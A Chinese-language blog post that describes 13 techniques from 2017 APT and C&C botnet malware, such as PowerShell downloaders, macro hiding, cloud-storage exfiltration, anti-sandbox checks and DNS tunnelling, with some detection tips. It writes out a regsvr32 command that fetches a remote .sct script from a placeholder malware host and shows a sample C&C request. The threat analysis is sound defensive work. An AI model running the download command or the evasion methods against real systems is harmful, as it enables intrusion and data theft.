13個 APT C&C殭屍病毒主要運用的技術與防偵測技巧

13個 APT C&C殭屍病毒主要運用的技術與防偵測技巧

Image result for C&C virus

這篇文章主要分析2017主要整理APT與C&C殭屍病毒真實個案中

運用的一些技術與防偵測技巧, 包含下列議題:

  • PowerShell 已經慢慢成為病毒執行與下載的主要工具之一,
  • 許多開源PowerShell 範例可用來注入攻擊, 下載, 上傳秘密文件等
  • regsvr32.exe也被運用成為 downloader
  • 逃避偵測的方式透過 GoogleDrive, DNS tunnel, fileless downloader, PS混碼, Office文件, Registry Key儲存

常見APT C&C病毒感染過程

  • 使用者收到郵件下載 office 文件並且開啟
  • Office 文件執行透過漏洞或是巨集執行 Script
  • 該Script 下載額外的病毒碼
  • 病毒碼執行搜尋其他電腦或是有利資訊
  • 病毒碼種植以便下次重開機得以執行
  • 命毒碼執行並且透過 DNS tunnel 與殭屍網路連線
 一個真實的案例如下:
 

病毒技巧1. :  利用regsvr32.exe 下載 SCT  ( Windows Script Component )

這個技巧主要是透過 WORD 中的巨集腳本執行下列指令

指令: regsvr32.exe /u /s /i:http://<malware>/malware.sct

這個指令利用 regsvr32.exe 下載遠端的 SCT


 

病毒技巧2. : 利用 WScript 執行powerShell

這個技巧主要運用 WSScript 來執行 PowerShell 腳本

 

技巧3: 不需要powershell.exe執行權限也可以執行PowerSell

由於 PowerShell 執行需要權限, 因此開源工具 PowerShdll提供 EXE 與DLL 模式,

如此一來主要佈署該工具 PowerShdll 就可以執行 PS

但是缺點是該工具的下載就很容易被防毒軟體偵測

技巧4: 擷取Windows 密碼

如何竊取電腦密碼呢? 參考這兩個開源程式範例

技巧5: PowerSell 攻擊武器庫

 隨著 PowerShell 的廣泛使用, 開始有各式各樣的 PS 攻擊武器庫範例程式
包含後門, 注入攻擊, 防毒逃逸, WORD後門執行, Downloader, 鍵盤側錄等等

技巧6: PowerSell 混碼

PowerShell 程式碼加以編碼後就更不容易被解讀分析或是被防毒偵測到
如何將 PowerShell 程式碼”編碼” , 可以參考這個開源工具

技巧7 : Office文件逃避程式碼偵測方式

許多程式的執行都是透過 office 文件的巨集,  但是該程式碼很容易被防毒軟體分析
因此黑客運用的小技巧
1. 將程式碼包裝在 TextBox 的Form中
2. 用密碼保護文件中的巨集程式macro,
如此一來就難以用常用的 OLETools分析工具分析 office 中的程式碼
結合上述綜合技巧, 一個完美的攻擊就誕生了,
一個結合 WORD 文件執行 regsvr 下載額外的 PS 腳本, PowerShell 繼續執行其他惡意行為
參考下圖

技巧8 : 利用GoogleDrive or DropBox來儲存偷走資訊

由於 HTTP訪問這些雲儲存網站不容易被防火牆或是威脅分析警示

因此黑客運用這些雲儲存網站儲存病毒設定檔, 或是將竊取的資訊往上傳至這些網站

 

技巧9: 隨機或是加密過的 HTTP 參數

受感染的電腦如何與遠端殭屍電腦溝通呢?

舉例來說: 透過 HTTP 加密過的參數或是 cookie 進行溝通

GET /X4iBJjp/MtD1xyoJMQ.htm HTTP/1.1
Cookie: uHa5=kXFGd3JqQHMfnMbi9mFZAJHCGja0ZLs%3D;KQ=yt%2Fe(omitted)
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: [user agent]
Host: [host name]
Connection: Keep-Alive
Cache-Control: no-cache

 技巧9 : 反病毒偵測檢查

病毒為了逃避防毒軟體的偵測, 會在下列情況下不執行或是再下載後延遲600秒後執行
  • 檢查 Debugger 是否存在
  • 檢查是否執行在虛擬機環境, 避免被沙箱環境偵測
  • 檢查 ProcessExplorer是否執行
  • 檢查WireShark 工具是否正在執行, 避免網路溝通封包被截取

技巧 10 : 利用  free web hosting sites

越來越多的病毒透過 Web Hosting 服務來執行病毒
由於這些 Web hosting 服務註冊比較容易, 管理稽核也比較鬆散,
因此黑客用來架設殭屍病毒主機
可透過 whoIS 或是 PassiveTotal 的方式觀察該 Web註冊歷史紀錄是否經常變換

技巧11 Reflective DLL Injection

參考
https://github.com/stephenfewer/ReflectiveDLLInjection
https://attack.mitre.org/wiki/Technique/T1055#Detection
 https://www.aldeid.com/wiki/Category:Digital-Forensics/Rootkits/User-mode-Rootkits
http://blog.opensecurityresearch.com/2013/01/windows-dll-injection-basics.html

技巧12: 不留檔案的 Downloader

下列這張圖說明當受害者收到郵件打開文件之後, 接下來該病毒如何與遠端電腦下載並且溝通

透過下列技巧盡量不在受害者電腦留下檔案, 以避免防毒偵測

  • 方法一: 將PowerShell code 儲存在 registry key 中
  • 方法二: 透過 regsvr32 下載COM scriptlet
  • 方法三:透過 JavaScript 下載Cobalt Strike Beacon
Office 文件中定義巨集, 該巨集為透過 regsvr32.exe 下載惡意程式碼 (f0921-6.sct) 範例
透過 WSCript 執行 PowerShell 惡意程式碼範例

真實個案如下圖:

參考
Cobalt Strike, PowerSploit and Nishang.

 技巧13  DNS Tunneling

透過 DNS Protocol 傳輸殭屍網路的指令, 並且將病毒DNS指向 Google and OpenDNS DNS servers

將指令傳輸隱藏在該傳輸中

 

DNS tunel 有哪些工具技術可以利用?

Image result for DNS Tunneling

由於 DNS Query 為 google or openDNS因此無法單存藉由DNS 訪問目的地偵測

這類的DNS Tunnel攻擊方式必須額外靠智能分析的方式, 例如

  • 每次DNS 查詢是否超過 64字元, 殭屍網路的DNS 查詢相對會比較大
  • DNS TXT 數量
  • DNS訪問中, 對於特定來源的訪問題, 這必須靠 SIEM 將所有的DNS 訪問比對統計分析
  • DNSTrap 分析 LLD 也就是 DNS 訪問 Domain 的字元關係

https://www.sans.org/reading-room/whitepapers/dns/detecting-dns-tunneling-34152

Leave a Reply

Your email address will not be published. Required fields are marked *